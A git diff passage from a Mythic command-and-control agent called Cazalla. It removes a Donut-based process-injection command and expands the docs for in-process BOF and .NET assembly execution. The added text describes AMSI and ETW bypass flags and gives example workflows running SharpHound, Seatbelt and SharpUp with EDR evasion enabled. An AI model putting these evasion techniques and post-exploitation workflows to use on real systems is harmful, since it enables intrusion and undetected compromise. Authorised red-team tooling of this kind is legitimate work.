+            TaskID=taskData.Task.ID,
+            Success=True,
+            OpsecPreBlocked=blocked,
+            OpsecPreBypassRole="other_operator" if blocked else "operator",
+            OpsecPreMessage=message
+        )
+
+    async def opsec_post(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPostTaskMessageResponse:
+        """
+        OPSEC check after creating the task.
+        Warns about artifacts that will be created.
+        """
+        amsi_enabled = taskData.args.get_arg("amsi") or False
+        etw_enabled = taskData.args.get_arg("etw") or False
+        
+        message = "⚠️ OPSEC POST-CHECK - .NET Assembly Execution Artifacts\n\n"
+        message += "This task will create the following artifacts:\n"
+        message += "  • Process Create: .NET assembly execution in-process\n"
+        message += "  • CLR Loading: .NET Common Language Runtime loaded into memory\n"
+        message += "  • Memory Allocation: Executable memory pages for assembly\n"
+        
+        if amsi_enabled:
+            message += "  • AMSI Bypass: clr.dll patching (high detection risk)\n"
+        if etw_enabled:
+            message += "  • ETW Bypass: EAT hooking advapi32.dll!EventWrite (high detection risk)\n"
+        
+        message += "\n💡 ARTIFACT DETAILS:\n"
+        message += "  • Process Create artifact is logged in Mythic\n"
+        message += "  • CLR loading may be detected by EDR\n"
+        message += "  • Memory allocation may be scanned by EDR memory protection\n"
+        
+        if amsi_enabled or etw_enabled:
+            message += "  • Bypass techniques may trigger immediate behavioral alerts\n"
+        
+        message += "\n✅ Review artifacts in the Artifacts tab after execution."
+        
+        return PTTTaskOPSECPostTaskMessageResponse(
+            TaskID=taskData.Task.ID,
+            Success=True,
+            OpsecPostMessage=message
+        )
+
     async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
         response = PTTaskCreateTaskingMessageResponse(
             TaskID=taskData.Task.ID,
diff --git a/Payload_Type/cazalla/requirements.txt b/Payload_Type/cazalla/requirements.txt
index a6d8887..4e253f4 100644
--- a/Payload_Type/cazalla/requirements.txt
+++ b/Payload_Type/cazalla/requirements.txt
@@ -12,5 +12,4 @@ charset_normalizer==3.3.2
 pycryptodome==3.19.0
 
 # Optional dependencies:
-# donut-shellcode - Required only for execute_assembly command
-# Install with: pip install donut-shellcode
\ No newline at end of file
+# (None at this time)
\ No newline at end of file
diff --git a/Payload_Type/cazalla/translator/commands_from_c2.py b/Payload_Type/cazalla/translator/commands_from_c2.py
index 930185e..f9ae7e7 100644
--- a/Payload_Type/cazalla/translator/commands_from_c2.py
+++ b/Payload_Type/cazalla/translator/commands_from_c2.py
@@ -43,8 +43,7 @@ commands = {
     "socks": {"hex_code": 0x60, "input_type": "socks_special"},  # Se maneja especialmente
     # BOF and Assembly execution commands
     "inline_execute": {"hex_code": 0x70, "input_type": "bof_special"},
-    "inline_execute_assembly": {"hex_code": 0x71, "input_type": "assembly_special"},
-    "execute_assembly": {"hex_code": 0x72, "input_type": "assembly_special"}
+    "inline_execute_assembly": {"hex_code": 0x71, "input_type": "assembly_special"}
 }
 
 def responseTasking(tasks):
@@ -272,12 +271,11 @@ def responseTasking(tasks):
             print(f"[TRANSLATOR] inline_execute: file_id={file_id}, args_packed={len(bof_args) if bof_args else 0} items")
         
         elif commands[command_to_run]["input_type"] == "assembly_special":
-            # inline_execute_assembly or execute_assembly: Format: [command_code][task_id][file_id_len:4][file_id][args_len:4][args]
+            # inline_execute_assembly: Format: [command_code][task_id][file_id_len:4][file_id][args_len:4][args]
             parameters = json.loads(task["parameters"]) if task["parameters"] != "" else {}
             # For inline_execute_assembly, it uses subtasks, so we might not get direct parameters
-            # For execute_assembly, it also uses subtasks
-            # These commands are handled via subtasks in Python, so they may not reach here directly
-            # But we'll handle them if they do
+            # This command is handled via subtasks in Python, so it may not reach here directly
+            # But we'll handle it if it does
             file_id = parameters.get("assembly_file", parameters.get("shellcode_file", ""))
             
             data = command_code + task_id
diff --git a/README.md b/README.md
index 7b83946..6f76fa1 100644
--- a/README.md
+++ b/README.md
@@ -201,7 +201,6 @@ For more information, see the [Mythic documentation on customizing public agents
 | `exit` | Terminate the implant | `exit` |
 | `inline_execute` | Execute a Beacon Object File (BOF) in the current process thread | `inline_execute -BOF whoami.x64.o -Arguments int32:1234` |
 | `inline_execute_assembly` | Execute a .NET Assembly in the current process using Inline-EA BOF | `inline_execute_assembly -Assembly SharpUp.exe -Arguments "audit" --patchexit --amsi --etw` |
-| `execute_assembly` | Execute a .NET Assembly in a remote process and retrieve output | `execute_assembly -Assembly SharpUp.exe -Arguments "audit"` |
 
 ### System Information
 
diff --git a/documentation-payload/Cazalla/commands.md b/documentation-payload/Cazalla/commands.md
index fd1063f..3542f4b 100644
--- a/documentation-payload/Cazalla/commands.md
+++ b/documentation-payload/Cazalla/commands.md
@@ -812,6 +812,7 @@ inline_execute -BOF <bof_file> [-Arguments <arguments>]
 - `string:hello` or `-z:hello` - Null-terminated string
 - `wchar:hello` or `-Z:hello` - Wide character string
 - `base64:abc==` or `-b:abc==` - Base64-encoded binary data
+- `bytes:hexstring` - Hexadecimal string of bytes
 
 **Examples:**
 ```
@@ -821,29 +822,37 @@ inline_execute -BOF netstat.x64.o -Arguments int32:4 string:TCP
 ```
 
 **Features:**
-- In-memory execution: BOFs are executed directly in the current process memory without creating new processes
-- COFF loader: Full COFF loader implementation supporting x64 BOFs with relocations and symbol resolution
-- Beacon API compatibility: Compatible with Cobalt Strike BOF API (BeaconPrintf, BeaconOutput, etc.)
-- Output capture: Automatically captures and returns BOF output
-- Argument parsing: Supports multiple argument types (int16, int32, string, wchar, base64)
+- **In-Memory Execution**: BOFs are executed directly in the current process memory without creating new processes
+- **COFF Loader**: Full COFF loader implementation supporting x64 BOFs with relocations and symbol resolution
+- **Beacon API Compatibility**: Compatible with Cobalt Strike BOF API (BeaconPrintf, BeaconOutput, etc.)
+- **Output Capture**: Automatically captures and returns BOF output via BeaconPrintf/BeaconOutput
+- **Argument Parsing**: Supports multiple argument types (int16, int32, string, wchar, base64, bytes)
+- **Thread Isolation**: BOFs execute in a separate thread with 30-second timeout to prevent agent crashes
+- **Process Create Artifact**: Automatically creates a "Process Create" artifact for tracking
 
 **Output:**
 ```
-[inline_execute] BOF execution requested
-[inline_execute] File ID: abc123...
 [BOF Output]
 Module Name: ntdll.dll
 Base Address: 0x7ffa12340000
+Size: 0x1f0000
 ```
 
 **OPSEC Considerations:**
-- Process Create artifact: BOF execution creates a "Process Create" artifact that is logged
-- Memory allocation: BOFs allocate executable memory which may be detected by EDR solutions
-- API hooking: Some EDR solutions monitor API calls that BOFs make
-- Symbol resolution: External symbol resolution (LoadLibraryA, GetProcAddress) may be logged
-- No new process: Unlike `shell` or `execute_assembly`, BOFs execute in-process, reducing some detection vectors
+- **MEDIUM OPSEC RISK**: In-process execution reduces some detection vectors compared to process spawning
+- **Process Create Artifact**: BOF execution creates a "Process Create" artifact that is logged in Mythic
+- **Memory Allocation**: BOFs allocate executable memory (PAGE_EXECUTE_READWRITE) which may be detected by EDR solutions
+- **API Monitoring**: External symbol resolution (LoadLibraryA, GetProcAddress) may be logged by EDR/XDR
+- **Memory Scanning**: Allocated executable memory may be scanned by EDR memory protection features
+- **No New Process**: Unlike `shell`, BOFs execute in-process, reducing some detection vectors
+- **Thread Isolation**: BOFs execute in a separate thread with timeout protection
 
-**Related:** [`inline_execute_assembly`](#inline_execute_assembly---execute-net-assembly-in-process), [`execute_assembly`](#execute_assembly---execute-net-assembly-in-remote-process), [Artifacts Support](features.md#artifacts-support)
+**Technical Details:**
+- Arguments are serialized using Packer format: `[size:4 bytes LE][data]`
+- Boolean values are automatically converted to integers (0 or 1) before serialization
+- BOFs that hang will timeout after 30 seconds and output will still be captured
+
+**Related:** [`inline_execute_assembly`](#inline_execute_assembly---execute-net-assembly-in-process), [Artifacts Support](features.md#artifacts-support), [Detailed Documentation](commands/inline_execute.md)
 
 ---
 
@@ -862,7 +871,7 @@ inline_execute_assembly -Assembly <assembly_file> [-Arguments <args>] [--patchex
 - `-Arguments` or `assembly_arguments` (optional): Arguments to pass to the assembly
 - `--patchexit` or `patch_exit` (optional, default: false): Patch `System.Environment.Exit` to prevent the Beacon process from exiting
 - `--amsi` or `amsi` (optional, default: false): Bypass AMSI by patching `clr.dll` instead of `amsi.dll` to avoid common detections
-- `--etw` or `etw` (optional, default: false): Bypass ETW by EAT hooking `advapi32.dll!EventWrite`
+- `--etw` or `etw` (optional, default: false): Bypass ETW by EAT hooking `advapi32.dll!EventWrite` to point to a function that returns immediately
 
 **Examples:**
 ```
@@ -872,60 +881,51 @@ inline_execute_assembly -Assembly SharpHound.exe -Arguments "-c All" --patchexit
 ```
 
 **Features:**
-- In-process execution: Executes .NET assemblies in the current process without spawning new processes
-- AMSI bypass: Optional AMSI bypass by patching clr.dll (more evasive than patching amsi.dll)
-- ETW bypass: Optional ETW bypass via EAT hooking
-- Exit patch: Prevents assemblies from calling `System.Environment.Exit` and terminating the agent
-- Output capture: Automatically captures and returns assembly output
-- BOF-based: Uses the Inline-EA BOF under the hood (executed via `inline_execute`)
+- **In-Process Execution**: Executes .NET assemblies in the current process without spawning new processes
+- **AMSI Bypass**: Optional AMSI bypass by patching `clr.dll` (more evasive than patching `amsi.dll`)
+- **ETW Bypass**: Optional ETW bypass via EAT hooking
+- **Exit Patch**: Prevents assemblies from calling `System.Environment.Exit` and terminating the agent
+- **Output Capture**: Automatically captures and returns assembly output via completion callback
+- **BOF-Based**: Uses the Inline-EA BOF (`inline-ea.x64.o`) under the hood (executed via `inline_execute`)
+- **Process Create Artifact**: Automatically creates a "Process Create" artifact for tracking
+- **Subtask Integration**: Creates a subtask that calls `inline_execute`, with output aggregated via completion callback
+
+**How It Works:**
+1. Retrieves the .NET assembly from Mythic
+2. Searches for the Inline-EA BOF (`inline-ea.x64.o`) in Mythic's file store
+3. Creates a subtask that calls `inline_execute` with the Inline-EA BOF
+4. Passes the .NET assembly as raw bytes (hex-encoded) to the BOF
+5. BOF loads the assembly into memory using .NET CLR APIs
+6. Optional bypasses (AMSI, ETW) are applied if requested via flags
+7. Assembly's entry point is executed with the provided arguments
+8. Output is captured via `BeaconPrintf` and returned to the parent task through a completion callback
+
+**Output:**
+```
+SharpUp execution started...
+[*] Checking for insecure file permissions...
+[*] Checking for unquoted service paths...
+[+] Found: C:\Program Files\Vulnerable Service\service.exe
+[*] Completed Privesc Checks in 17 seconds
+```
 
 **OPSEC Considerations:**
-- Process Create artifact: Assembly execution creates a "Process Create" artifact
-- CLR loading: Loading .NET assemblies into memory may be detected by EDR solutions
-- AMSI bypass: Patching clr.dll for AMSI bypass may trigger behavioral detections
-- ETW bypass: EAT hooking may be detected by advanced EDR solutions
-- No new process: Executes in-process, reducing some detection vectors compared to `execute_assembly`
+- **MEDIUM OPSEC RISK**: In-process execution provides better OPSEC than process spawning (no process injection)
+- **Process Create Artifact**: Assembly execution creates a "Process Create" artifact that is logged in Mythic
+- **CLR Loading**: Loading .NET assemblies into memory may be detected by EDR solutions
+- **AMSI Bypass**: Patching `clr.dll` for AMSI bypass may trigger behavioral detections (more evasive than patching `amsi.dll`)
+- **ETW Bypass**: EAT hooking `advapi32.dll!EventWrite` may be detected by advanced EDR solutions
+- **No New Process**: Executes in-process, reducing some detection vectors compared to process spawning
+- **Memory Allocation**: Allocates executable memory for the assembly, which may be scanned by EDR
+- **Thread Isolation**: BOF execution runs in a separate thread with timeout protection
 
-**Related:** [`inline_execute`](#inline_execute---execute-beacon-object-file-bof), [`execute_assembly`](#execute_assembly---execute-net-assembly-in-remote-process), [Artifacts Support](features.md#artifacts-support)
+**Technical Details:**
+- Uses Inline-EA BOF developed by @EricEsquivel (https://github.com/EricEsquivel/Inline-EA)
+- Boolean flags (`--amsi`, `--etw`, `--patchexit`) are automatically converted to integers (0 or 1) for the BOF
+- If BOF execution hangs, it will timeout after 30 seconds and output will still be captured
+- Output is aggregated from the subtask and displayed directly in the main command (not as a subtask)
 
----
-
-### `execute_assembly` - Execute .NET Assembly in Remote Process
-
-Execute a .NET Assembly in a remote process and retrieve its output.
-
-**Syntax:**
-```
-execute_assembly -Assembly <assembly_file> -Arguments <args>
-```
-
-**Parameters:**
-- `-Assembly` or `assembly_name` (required): Name of an already uploaded .NET assembly (e.g., `SharpUp.exe`)
-- `assembly_file` (required for new uploads): A new .NET assembly file to upload and execute
-- `-Arguments` or `assembly_arguments` (required): Arguments to pass to the assembly
-
-**Examples:**
-```
-execute_assembly -Assembly SharpUp.exe -Arguments "audit"
-execute_assembly -Assembly Seatbelt.exe -Arguments "all"
-execute_assembly -Assembly SharpHound.exe -Arguments "-c All -d domain.local"
-```
-
-**Features:**
-- Shellcode conversion: Automatically converts .NET assemblies to shellcode using Donut
-- Process injection: Injects shellcode into a target process (defaults to current process)
-- Output capture: Captures and returns assembly output
-- No file system: Assembly is executed entirely in memory without writing to disk
-
-**OPSEC Considerations:**
-- **HIGH OPSEC RISK**: Process injection is heavily monitored by EDR/XDR solutions
-- Shellcode injection: Donut shellcode injection may trigger behavioral detections
-- Process Create artifact: Creates a "Process Create" artifact
-- Memory scanning: Injected shellcode may be scanned by EDR memory protection
-- API monitoring: Process injection APIs (VirtualAllocEx, WriteProcessMemory, CreateRemoteThread) are monitored
-- Donut detection: Donut shellcode patterns may be detected by advanced security solutions
-
-**Related:** [`inline_execute_assembly`](#inline_execute_assembly---execute-net-assembly-in-process) (better OPSEC), [`inline_execute`](#inline_execute---execute-beacon-object-file-bof), [Artifacts Support](features.md#artifacts-support)
+**Related:** [`inline_execute`](#inline_execute---execute-beacon-object-file-bof), [Artifacts Support](features.md#artifacts-support), [Detailed Documentation](commands/inline_execute_assembly.md)
 
 ---
 
diff --git a/documentation-payload/Cazalla/commands/README.md b/documentation-payload/Cazalla/commands/README.md
index c3795dd..9accc08 100644
--- a/documentation-payload/Cazalla/commands/README.md
+++ b/documentation-payload/Cazalla/commands/README.md
@@ -45,7 +45,6 @@ Complete documentation for all Cazalla agent commands, organized by category.
 
 - [`inline_execute`](inline_execute.md) - Execute Beacon Object Files (BOFs)
 - [`inline_execute_assembly`](inline_execute_assembly.md) - Execute .NET assemblies in-process
-- [`execute_assembly`](execute_assembly.md) - Execute .NET assemblies in remote processes
 
 ## Control Commands
 
diff --git a/documentation-payload/Cazalla/commands/execute_assembly.md b/documentation-payload/Cazalla/commands/execute_assembly.md
deleted file mode 100644
index 7ad4574..0000000
--- a/documentation-payload/Cazalla/commands/execute_assembly.md
+++ /dev/null
@@ -1,109 +0,0 @@
-# execute_assembly - Execute .NET Assembly in Remote Process
-
-Execute a .NET Assembly in a remote process and retrieve its output.
-
-## Description
-
-The `execute_assembly` command converts a .NET assembly to shellcode using Donut and injects it into a remote process (or the current process if no target is specified). The assembly is executed in the target process and its output is captured and returned.
-
-## Syntax
-
-```
-execute_assembly -Assembly <assembly_file> -Arguments <args>
-```
-
-## Parameters
-
-- `-Assembly` or `assembly_name` (required): Name of an already uploaded .NET assembly (e.g., `SharpUp.exe`)
-- `assembly_file` (required for new uploads): A new .NET assembly file to upload and execute
-- `-Arguments` or `assembly_arguments` (required): Arguments to pass to the assembly
-
-## Examples
-
-```
-# Execute assembly with arguments
-execute_assembly -Assembly SharpUp.exe -Arguments "audit"
-
-# Execute Seatbelt with all checks
-execute_assembly -Assembly Seatbelt.exe -Arguments "all"
-
-# Execute SharpHound for domain enumeration
-execute_assembly -Assembly SharpHound.exe -Arguments "-c All -d domain.local"
-```
-
-## Features
-
-- **Shellcode Conversion**: Automatically converts .NET assemblies to shellcode using Donut
-- **Process Injection**: Injects shellcode into a target process (defaults to current process)
-- **Output Capture**: Captures and returns assembly output
-- **No File System**: Assembly is executed entirely in memory without writing to disk
-
-## How It Works
-
-1. The command retrieves the .NET assembly from Mythic
-2. The assembly is converted to shellcode using Donut
-3. A subtask is created to call `inject_shellcode` with the generated shellcode
-4. The shellcode is injected into the target process
-5. The .NET assembly is loaded and executed in the target process
-6. Output is captured and returned to Mythic
-
-## Output
-
-```
-[execute_assembly] Converting .NET Assembly to Shellcode...
-[execute_assembly] Shellcode generated: 123456 bytes
-[execute_assembly] Injecting shellcode into process...
-[Assembly Output]
-SharpUp execution started...
-[*] Checking for insecure file permissions...
-[+] Found: C:\Program Files\Vulnerable Service\service.exe
-```
-
-## OPSEC Considerations
-
-- **HIGH OPSEC RISK**: Process injection is heavily monitored by EDR/XDR solutions
-- **Shellcode Injection**: Donut shellcode injection may trigger behavioral detections
-- **Process Create Artifact**: Creates a "Process Create" artifact
-- **Memory Scanning**: Injected shellcode may be scanned by EDR memory protection
-- **API Monitoring**: Process injection APIs (VirtualAllocEx, WriteProcessMemory, CreateRemoteThread) are monitored
-- **Donut Detection**: Donut shellcode patterns may be detected by advanced security solutions
-
-## Technical Details
-
-### Donut Integration
-
-The command uses Donut to convert .NET assemblies to position-independent shellcode:
-- Automatically handles .NET assembly loading
-- Supports .NET Framework and .NET Core assemblies
-- Generates position-independent shellcode
-- Handles assembly dependencies
-
-### Process Injection
-
-The shellcode injection process:
-1. Shellcode is generated from the .NET assembly
-2. Shellcode is registered as a temporary file in Mythic
-3. `inject_shellcode` command is called via subtask
-4. Shellcode is injected into the target process
-5. Assembly executes and output is captured
-
-## Error Handling
-
-The command handles various error scenarios:
-- **Assembly Not Found**: Returns error if assembly file cannot be retrieved
-- **Donut Conversion Failure**: Returns error if assembly cannot be converted to shellcode
-- **Injection Failure**: Returns error if shellcode cannot be injected
-- **Execution Failure**: Returns error if assembly fails to execute
-
-## Related
-
-- [`inline_execute_assembly`](inline_execute_assembly.md) - Execute .NET assemblies in-process (better OPSEC)
-- [`inline_execute`](inline_execute.md) - Execute BOFs directly
-- [Artifacts Support](../features.md#artifacts-support)
-
----
-
-**Command Category:** Execution & Control  
-**Requires Admin:** No (unless injecting into protected process)  
-**MITRE ATT&CK:** [T1055 - Process Injection](https://attack.mitre.org/techniques/T1055/), [T1620 - Reflective Code Loading](https://attack.mitre.org/techniques/T1620/)
-
diff --git a/documentation-payload/Cazalla/commands/inline_execute.md b/documentation-payload/Cazalla/commands/inline_execute.md
index 0551c30..0834531 100644
--- a/documentation-payload/Cazalla/commands/inline_execute.md
+++ b/documentation-payload/Cazalla/commands/inline_execute.md
@@ -53,23 +53,26 @@ inline_execute -BOF custom_bof.x64.o -Arguments int32:5678
 
 ## Output
 
+The command returns the output captured from the BOF via `BeaconPrintf` or `BeaconOutput`:
+
 ```
-[inline_execute] BOF execution requested
-[inline_execute] File ID: abc123...
-[inline_execute] Arguments: int32:1234
 [BOF Output]
 Module Name: ntdll.dll
 Base Address: 0x7ffa12340000
 Size: 0x1f0000
 ```
 
+If the BOF produces no output, the command will indicate successful execution.
+
 ## OPSEC Considerations
 
-- **Process Create Artifact**: BOF execution creates a "Process Create" artifact that is logged
-- **Memory Allocation**: BOFs allocate executable memory which may be detected by EDR solutions
-- **API Hooking**: Some EDR solutions monitor API calls that BOFs make
-- **Symbol Resolution**: External symbol resolution (LoadLibraryA, GetProcAddress) may be logged
-- **No New Process**: Unlike `shell` or `execute_assembly`, BOFs execute in-process, reducing some detection vectors
+- **MEDIUM OPSEC RISK**: In-process execution reduces some detection vectors compared to process spawning
+- **Process Create Artifact**: BOF execution creates a "Process Create" artifact that is logged in Mythic
+- **Memory Allocation**: BOFs allocate executable memory (PAGE_EXECUTE_READWRITE) which may be detected by EDR solutions
+- **API Monitoring**: External symbol resolution (LoadLibraryA, GetProcAddress) may be logged by EDR/XDR
+- **Memory Scanning**: Allocated executable memory may be scanned by EDR memory protection features
+- **No New Process**: Unlike `shell`, BOFs execute in-process, reducing some detection vectors
+- **Thread Isolation**: BOFs execute in a separate thread with a 30-second timeout to prevent agent crashes
 
 ## Technical Details
 
@@ -82,16 +85,32 @@ The COFF loader implementation:
 - Resolves external symbols via LoadLibraryA/GetProcAddress
 - Maps sections with PAGE_EXECUTE_READWRITE permissions
 
+### Thread Isolation
+
+BOFs are executed in a separate thread to prevent agent crashes:
+- **Timeout**: 30-second timeout for BOF execution
+- **Thread Termination**: If BOF hangs, the thread is terminated after timeout
+- **Output Capture**: Output is captured even if BOF hangs or times out
+- **Agent Stability**: Main agent thread continues to function even if BOF crashes
+
 ### Beacon API Compatibility
 
 The following Beacon API functions are supported:
-- `BeaconPrintf` - Formatted output
-- `BeaconOutput` - Raw output
+- `BeaconPrintf` - Formatted output (captured and returned)
+- `BeaconOutput` - Raw output (captured and returned)
 - `BeaconDataParse` - Parse input data
 - `BeaconDataInt`, `BeaconDataShort`, `BeaconDataExtract` - Data extraction
 - `BeaconUseToken`, `BeaconRevertToken` - Token manipulation
 - `BeaconIsAdmin` - Admin check
 
+### Argument Serialization
+
+Arguments are serialized using the Packer class format:
+- Each argument is prefixed with its size (4 bytes, little-endian)
+- Arguments are packed sequentially: `[size:4][data][size:4][data]...`
+- The total buffer size is prepended to the argument buffer
+- Boolean values are converted to integers (0 or 1) before serialization
+
 ## Error Handling
 
 The command handles various error scenarios:
@@ -103,7 +122,6 @@ The command handles various error scenarios:
 ## Related
 
 - [`inline_execute_assembly`](inline_execute_assembly.md) - Execute .NET assemblies in-process
-- [`execute_assembly`](execute_assembly.md) - Execute .NET assemblies in remote processes
 - [Artifacts Support](../features.md#artifacts-support)
 
 ---
diff --git a/documentation-payload/Cazalla/commands/inline_execute_assembly.md b/documentation-payload/Cazalla/commands/inline_execute_assembly.md
index 6a9bf24..bc28e3c 100644
--- a/documentation-payload/Cazalla/commands/inline_execute_assembly.md
+++ b/documentation-payload/Cazalla/commands/inline_execute_assembly.md
@@ -45,32 +45,40 @@ inline_execute_assembly -Assembly SharpHound.exe -Arguments "-c All" --patchexit
 
 ## How It Works
 
-1. The command creates a subtask that calls `inline_execute` with the Inline-EA BOF
-2. The .NET assembly is passed to the BOF as raw bytes
-3. The BOF loads the assembly into memory using .NET CLR APIs
-4. Optional bypasses (AMSI, ETW) are applied if requested
-5. The assembly's entry point is executed with the provided arguments
-6. Output is captured and returned to Mythic
+1. The command retrieves the .NET assembly from Mythic
+2. The command searches for the Inline-EA BOF (`inline-ea.x64.o`) in Mythic's file store
+3. A subtask is created that calls `inline_execute` with the Inline-EA BOF
+4. The .NET assembly is passed to the BOF as raw bytes (hex-encoded)
+5. The BOF loads the assembly into memory using .NET CLR APIs
+6. Optional bypasses (AMSI, ETW) are applied if requested via flags
+7. The assembly's entry point is executed with the provided arguments
+8. Output is captured via `BeaconPrintf` and returned to the parent task through a completion callback
+9. The completion callback aggregates the output and displays it in the main command
 
 ## Output
 
+The command returns the output from the .NET assembly execution:
+
 ```
-[inline_execute_assembly] Assembly execution requested
-[BOF Output from Inline-EA]
 SharpUp execution started...
 [*] Checking for insecure file permissions...
 [*] Checking for unquoted service paths...
 [+] Found: C:\Program Files\Vulnerable Service\service.exe
+[*] Completed Privesc Checks in 17 seconds
 ```
 
+The output is captured from the Inline-EA BOF execution and displayed directly in the main command (not as a subtask).
+
 ## OPSEC Considerations
 
-- **Process Create Artifact**: Assembly execution creates a "Process Create" artifact
+- **MEDIUM OPSEC RISK**: In-process execution provides better OPSEC than process spawning (no process injection)
+- **Process Create Artifact**: Assembly execution creates a "Process Create" artifact that is logged in Mythic
 - **CLR Loading**: Loading .NET assemblies into memory may be detected by EDR solutions
-- **AMSI Bypass**: Patching clr.dll for AMSI bypass may trigger behavioral detections
-- **ETW Bypass**: EAT hooking may be detected by advanced EDR solutions
-- **No New Process**: Executes in-process, reducing some detection vectors compared to `execute_assembly`
-- **Memory Allocation**: Allocates executable memory for the assembly, which may be scanned
+- **AMSI Bypass**: Patching `clr.dll` for AMSI bypass may trigger behavioral detections (more evasive than patching `amsi.dll`)
+- **ETW Bypass**: EAT hooking `advapi32.dll!EventWrite` may be detected by advanced EDR solutions
+- **No New Process**: Executes in-process, reducing some detection vectors compared to process spawning
+- **Memory Allocation**: Allocates executable memory for the assembly, which may be scanned by EDR
+- **Thread Isolation**: BOF execution runs in a separate thread with timeout protection
 
 ## Technical Details
 
@@ -84,22 +92,25 @@ This command uses the Inline-EA BOF developed by @EricEsquivel:
 
 ### Bypass Options
 
-- **--patchexit**: Patches `System.Environment.Exit` to prevent the assembly from terminating the agent process
-- **--amsi**: Bypasses AMSI by patching `clr.dll` instead of `amsi.dll` (more evasive)
-- **--etw**: Bypasses ETW by hooking `advapi32.dll!EventWrite` via Export Address Table (EAT) hooking
+- **--patchexit**: Patches `System.Environment.Exit` to prevent the assembly from terminating the agent process. Default: `false`
+- **--amsi**: Bypasses AMSI by patching `clr.dll` instead of `amsi.dll` (more evasive than traditional AMSI bypasses). Default: `false`
+- **--etw**: Bypasses ETW by hooking `advapi32.dll!EventWrite` via Export Address Table (EAT) hooking. Default: `false`
+
+**Note**: Boolean flags (`--amsi`, `--etw`, `--patchexit`) are automatically converted to integers (0 or 1) for the BOF.
 
 ## Error Handling
 
 The command handles various error scenarios:
 - **Assembly Not Found**: Returns error if assembly file cannot be retrieved from Mythic
+- **BOF Not Found**: Returns error if Inline-EA BOF (`inline-ea.x64.o`) is not found in Mythic's file store
 - **BOF Execution Failure**: Returns error if Inline-EA BOF cannot be executed
 - **Assembly Load Failure**: Returns error if .NET assembly cannot be loaded
 - **Bypass Failure**: May fail silently if bypasses cannot be applied
+- **Timeout**: If BOF execution hangs, it will timeout after 30 seconds and output will still be captured
 
 ## Related
 
 - [`inline_execute`](inline_execute.md) - Execute BOFs directly
-- [`execute_assembly`](execute_assembly.md) - Execute .NET assemblies in remote processes
 - [Artifacts Support](../features.md#artifacts-support)
 
 ---
diff --git a/documentation-payload/Cazalla/examples.md b/documentation-payload/Cazalla/examples.md
index e703291..6a28a2d 100644
--- a/documentation-payload/Cazalla/examples.md
+++ b/documentation-payload/Cazalla/examples.md
@@ -494,6 +494,41 @@ keylog_start
 keylog_stop
 ```
 
+### BOF Execution
+
+```bash
+# Execute a BOF with no arguments
+inline_execute -BOF whoami.x64.o
+
+# Execute a BOF with integer argument
+inline_execute -BOF listmods.x64.o -Arguments int32:1234
+
+# Execute a BOF with multiple arguments
+inline_execute -BOF netstat.x64.o -Arguments int32:4 string:TCP
+
+# Execute a BOF with base64-encoded data
+inline_execute -BOF custom_bof.x64.o -Arguments base64:YWJjZGVm
+```
+
+### .NET Assembly Execution (In-Process)
+
+```bash
+# Execute assembly with arguments
+inline_execute_assembly -Assembly SharpUp.exe -Arguments "audit"
+
+# Execute with AMSI and ETW bypass
+inline_execute_assembly -Assembly Seatbelt.exe -Arguments "all" --amsi --etw
+
+# Execute with all bypasses enabled
+inline_execute_assembly -Assembly SharpHound.exe -Arguments "-c All -d domain.local" --patchexit --amsi --etw
+
+# Execute privilege escalation check
+inline_execute_assembly -Assembly SharpUp.exe -Arguments "audit" --patchexit
+
+# Execute domain enumeration
+inline_execute_assembly -Assembly SharpHound.exe -Arguments "-c All -d domain.local" --amsi --etw
+```
+
 ### Complete Post-Exploitation Workflow
 
 ```bash
@@ -608,6 +643,26 @@ whoami
 # (Commands run with domain credentials if token selected)
 ```
 
+### Code Execution Workflow
+
+```bash
+# 1. Execute a BOF for lightweight operations
+inline_execute -BOF whoami.x64.o
+inline_execute -BOF listmods.x64.o -Arguments int32:1234
+
+# 2. Execute .NET assembly for privilege escalation
+inline_execute_assembly -Assembly SharpUp.exe -Arguments "audit" --patchexit
+
+# 3. Execute .NET assembly with bypasses for enumeration
+inline_execute_assembly -Assembly Seatbelt.exe -Arguments "all" --amsi --etw
+
+# 4. Execute domain enumeration
+inline_execute_assembly -Assembly SharpHound.exe -Arguments "-c All -d domain.local" --amsi --etw
+
+# Note: inline_execute_assembly provides better OPSEC than process spawning
+# (no process injection, in-process execution)
+```
+
 ---
 
 ## Tips and Best Practices
diff --git a/documentation-payload/Cazalla/features.md b/documentation-payload/Cazalla/features.md
index 28abe72..d8d7572 100644
--- a/documentation-payload/Cazalla/features.md
+++ b/documentation-payload/Cazalla/features.md
@@ -155,7 +155,6 @@ Cazalla automatically reports artifacts created during command execution, allowi
 | **Process Create** | `shell` | Command execution via cmd.exe |
 | **Process Create** | `inline_execute` | BOF execution in current process |
 | **Process Create** | `inline_execute_assembly` | .NET assembly execution in-process |
-| **Process Create** | `execute_assembly` | .NET assembly execution via process injection |
 | **File Write** | `cp`, `mkdir`, `upload` | File creation or modification |
 | **File Delete** | `rm` | File or directory deletion |
 | **File Read** | `download` | File download operations |
diff --git a/documentation-payload/Cazalla/logging.md b/documentation-payload/Cazalla/logging.md
index 4bd3993..a1a8e7d 100644
--- a/documentation-payload/Cazalla/logging.md
+++ b/documentation-payload/Cazalla/logging.md
@@ -2,7 +2,7 @@
 title = "Logging & Syslog" 
 chapter = false 
 weight = 50 
-pre = "6. " 
+pre = "7. " 
 +++
 
 # 📊 Logging & Syslog
diff --git a/documentation-payload/Cazalla/opsec.md b/documentation-payload/Cazalla/opsec.md
index dc66730..430dcf9 100644
--- a/documentation-payload/Cazalla/opsec.md
+++ b/documentation-payload/Cazalla/opsec.md
@@ -78,7 +78,6 @@ These commands are **highly detectable** and require careful consideration:
 | Command | Risk Level | Detection Likelihood | Alternatives |
 |---------|-----------|---------------------|--------------|
 | `shell` | HIGH | High (cmd.exe spawn) | Use built-in Cazalla commands when possible |
-| `execute_assembly` | HIGH | High (process injection, Donut shellcode) | `inline_execute_assembly` for in-process execution |
 | `steal_token` | HIGH | High (EDR/XDR monitoring) | `make_token` when credentials available |
 | `rm` (system files) | HIGH | Blocked for safety | Never delete system files |
 | `screenshot` | HIGH | Screen capture detection | Use sparingly, consider timing |
@@ -90,7 +89,7 @@ These commands have **moderate detection risk**:
 | Command | Risk Level | Detection Likelihood | Notes |
 |---------|-----------|---------------------|-------|
 | `inline_execute` | MEDIUM | Memory allocation, API calls | In-process execution reduces some detection vectors |
